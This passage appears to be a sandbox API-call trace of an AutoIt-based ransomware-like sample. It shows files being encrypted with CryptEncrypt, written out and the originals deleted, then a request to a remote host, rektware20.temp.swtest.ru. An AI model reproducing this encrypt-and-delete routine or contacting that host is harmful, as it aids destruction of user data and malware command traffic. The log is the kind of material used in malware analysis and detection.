lpMsg=0x130e0cc) returned 0 [0063.841] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0063.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0063.842] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0063.842] CryptGetKeyParam (in: hKey=0x164c530, dwParam=0x7, pbData=0x16296d0, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x16296d0*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0063.842] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.842] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.842] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.842] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.842] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.842] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.842] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.842] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.842] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0063.842] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.842] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.842] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0063.842] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.842] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.842] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0063.843] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.843] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.843] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.843] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.843] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.843] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.843] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.843] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.843] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.843] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0063.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621750, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0063.844] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0063.844] CryptEncrypt (in: hKey=0x164c530, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x60ed, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x60f0) returned 1 [0063.844] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.844] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.844] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.844] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.844] CharLowerBuffW (in: lpsz="byte[24817]", cchLength=0xb | out: lpsz="byte[24817]") returned 0xb [0063.844] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.845] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.845] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.845] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.845] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0063.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621a50, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0063.845] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0063.845] CryptEncrypt (in: hKey=0x164c530, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1889200*, pdwDataLen=0x130e618*=0x60ed, dwBufLen=0x60f0 | out: pbData=0x1889200*, pdwDataLen=0x130e618*=0x60f0) returned 1 [0063.846] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.846] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.846] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.846] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.846] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.846] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.846] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0063.846] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.846] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0063.846] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.846] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.846] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.846] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.846] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0063.846] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.846] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.846] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.847] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.847] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.847] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.847] WriteFile (in: hFile=0x3bc, lpBuffer=0x187d010*, nNumberOfBytesToWrite=0x60f0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x187d010*, lpNumberOfBytesWritten=0x130f01c*=0x60f0, lpOverlapped=0x0) returned 1 [0063.848] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.848] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.849] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0063.849] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.849] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.849] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0063.849] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0063.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16214e0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0063.849] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0063.850] CryptDestroyKey (hKey=0x164c530) returned 1 [0063.850] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.850] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.850] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0063.850] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0063.850] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0063.850] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0063.850] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0063.850] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0063.850] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.850] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0063.850] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0063.850] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0063.850] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.850] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.850] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.850] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0063.850] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.851] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0063.851] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.851] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.851] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.851] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.851] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0063.851] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.851] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.851] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0063.851] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0063.851] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0063.851] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0063.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e050, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0063.851] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0063.852] CryptReleaseContext (hProv=0x17ab880, dwFlags=0x0) returned 1 [0063.852] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.852] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.852] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0063.852] FreeLibrary (hLibModule=0x74c60000) returned 1 [0063.852] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.853] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.853] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.853] CloseHandle (hObject=0x2ac) returned 1 [0063.855] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.855] CloseHandle (hObject=0x3bc) returned 1 [0063.857] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.857] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0063.857] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a", lpFilePart=0x0) returned 0x4f [0063.858] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hlxtge9ks2i\\kcbcqi5tkc4upht\\qwrqhmpb38jt biyj5h.m4a")) returned 0x20 [0063.858] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c7f0 [0063.858] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\qwRqhMpb38jT biYJ5H.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hlxtge9ks2i\\kcbcqi5tkc4upht\\qwrqhmpb38jt biyj5h.m4a")) returned 1 [0063.861] FindNextFileW (in: hFindFile=0x164c7f0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0063.861] FindClose (in: hFindFile=0x164c7f0 | out: hFindFile=0x164c7f0) returned 1 [0063.862] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0063.862] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.862] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.862] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.862] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\vB t4e.m4a", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cb30 [0063.862] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0063.862] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.862] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0063.862] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0063.862] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0063.862] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0063.862] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f70, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620f70, lpdwBufferLength=0x130ef8c) returned 1 [0063.862] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0063.862] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0063.863] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0063.864] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0063.864] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0063.864] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0063.864] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292b0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292b0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0063.864] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: 